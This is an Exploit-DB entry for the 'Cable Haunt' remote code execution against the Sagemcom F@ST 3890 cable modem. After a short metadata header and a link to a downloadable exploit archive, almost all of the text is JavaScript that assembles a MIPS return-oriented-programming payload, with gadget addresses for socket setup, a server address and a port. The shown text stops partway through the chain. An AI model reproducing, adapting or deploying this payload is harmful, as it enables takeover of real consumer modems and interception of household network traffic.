Exploit-DB #47936
Description: Sagemcom F@ST 3890 (50_10_19-T1) Cable Modem - 'Cable Haunt' Remote Code Execution
Type: remote
Platform: hardware
Date: 2020-01-15
Author: Lyrebirds

Exploit:
// EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47936.zip

function buf2hex(buffer) { // buffer is an ArrayBuffer
    return Array.prototype.map.call(new Uint8Array(buffer), x => ('00' + x.toString(16)).slice(-2)).join('');
}

function insertAt(arr, index, toInsert) {
    for(let i = 0; i < toInsert.length; i++) {
        arr[i+index]= toInsert[i];
    }
}

function testEqual(buf1, buf2)
{
    if (buf1.byteLength != buf2.byteLength) return false;
    var dv1 = new Int8Array(buf1);
    var dv2 = new Int8Array(buf2);
    for (var i = 0 ; i != buf1.byteLength ; i++)
    {
        if (dv1[i] != dv2[i]) return false;
    }
    return true;
}

arr = new Uint8Array(0xd00);

arr.fill(0x41)

firstSp = 0x00
previousSp = firstSp
sp = previousSp+0xa0
insertAt(arr, previousSp+0x84-1, [0xc2, 0x80, 0x78, 0x7f, 0x64])
insertAt(arr, previousSp+0x94-1, [0xf2, 0x80, 0x80, 0xa8, 0x64]) 
// 0x8080a864: addiu $a0, $zero, 2; lw $ra, 0x14($sp); lw $s0, 0x10($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20;

previousSp = sp
sp = previousSp+0x20
insertAt(arr, previousSp+0x14-1, [0xc2, 0x80, 0x3a, 0x1b, 0x54]) 
//0x803a1b54: addiu $a1, $zero, 1; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10;

previousSp = sp
sp = previousSp+0x10
insertAt(arr, previousSp-1, [0xc2, 0x80, 0x14, 0x27, 0x10]) 
//0x80142710: move $a2, $zero; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;

previousSp = sp
sp = previousSp+0x10
insertAt(arr, previousSp-1, [0xf2, 0x80, 0x8a, 0x89, 0x7c])
insertAt(arr, previousSp+0x8-1, [0xf2, 0x80, 0x80, 0xa5, 0x40])
//0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 

previousSp = sp
sp = previousSp+0x10
insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x4c, 0x27, 0x78])
//0x804c2778: addiu $v0, $v0, 0x4d90; lw $ra, 0x24($sp); lw $s0, 0x20($sp); jr $ra; addiu $sp, $sp, 0x30;

previousSp = sp
sp = previousSp+0x30
insertAt(arr, previousSp+0x24-1, [0xc2, 0x80, 0x1a, 0x5f, 0x4c])
//0x801a5f4c: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;
//call Socket

//0x80a05b20
socketAddr = [0xe2, 0x80, 0xa0, 0x5b, 0x20]

previousSp = sp
sp = previousSp+0x10
insertAt(arr, sp-1, socketAddr) //set s0 = socketAddr
insertAt(arr, sp+0x14-1, [0xc2, 0x80, 0x78, 0x7f, 0x64]) //set s5
insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc])
//0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80;

previousSp = sp
sp = previousSp+0x80
insertAt(arr, previousSp+0x20-1, [0xe2, 0x80, 0x8e, 0x2a, 0x20])
//0x808e2a20: sw $v0, ($s0); move $v0, $s0; lw $ra, 0x14($sp); lw $s0, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20;

//0x80a05a30;
serverAddr = [0xe2, 0x80, 0xa0, 0x5a, 0x30];

previousSp = sp
sp = previousSp+0x20
insertAt(arr, sp-1, serverAddr) //set s0 = serverAddr
insertAt(arr, previousSp+0x14-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc])
//0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80;

previousSp = sp
sp = previousSp + 0x80
insertAt(arr, previousSp+0x20-1, [0xc2, 0x80, 0x48, 0x71, 0x6c])
//0x8048716c: move $a0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;

previousSp = sp
sp = previousSp + 0x10
insertAt(arr, previousSp+0x8-1, [0xf2, 0x80, 0x87, 0x9e, 0x68])
//0x80879e68: move $a1, $zero; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;

previousSp = sp
sp = previousSp + 0x10
insertAt(arr, previousSp-1, [0xe2, 0x80, 0x83, 0xd9, 0xb8])
insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x7f, 0x18, 0x18])
//0x807f1818: addiu $a2, $zero, 0x20; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10;

previousSp = sp
sp = previousSp+0x10
insertAt(arr, previousSp-1, [0xf2, 0x80, 0x80, 0xa5, 0x40])
//0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 

previousSp = sp
sp = previousSp+0x10
insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x2e, 0x4f, 0x44])
//0x802e4f44: addiu $v0, $v0, 0x77c8; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;

previousSp = sp
sp = previousSp+0x10
insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0x1a, 0x5f, 0x4c])
//0x801a5f4c: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;
//call memset

previousSp = sp
sp = previousSp+0x10
insertAt(arr, sp, [0x41, 0x2, 0x5, 0x39]) //set s0 = port
insertAt(arr, sp+0x14-1, [0xc2, 0x80, 0x78, 0x7f, 0x64]) //set s5
insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc])
//0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80;

// previousSp = sp
// sp = previousSp+0x10
// insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0x78, 0x7f, 0x64])
// //0x80787f64: jalr $s5; nop;

previousSp = sp
sp = previousSp+0x80
insertAt(arr, previousSp+0x20-1, [0xf2, 0x80, 0x80, 0xa5, 0x40])
//0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 

previousSp = sp
sp = previousSp+0x10
insertAt(arr, sp-1, serverAddr) //set s0 = serverAddr
insertAt(arr, sp+0x14-1, [0xc2, 0x80, 0x78, 0x7f, 0x64]) //set s5
insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc])
//0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80;

previousSp = sp
sp = previousSp+0x80
insertAt(arr, sp-1, socketAddr)
insertAt(arr, previousSp+0x20-1, [0xe2, 0x80, 0x8e, 0x2a, 0x20])
//0x808e2a20: sw $v0, ($s0); move $v0, $s0; lw $ra, 0x14($sp); lw $s0, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20;
//store port

// previousSp = sp
// sp = previousSp+0x20
// insertAt(arr, previousSp+0x14-1, [0xc2, 0x80, 0x78, 0x7f, 0x64])
// //0x80787f64: jalr $s5; nop;

socketAddrM4 = [0xe2, 0x80, 0xa0, 0x5b, 0x1c]

previousSp = sp
sp = previousSp+0x20
insertAt(arr, sp-1, socke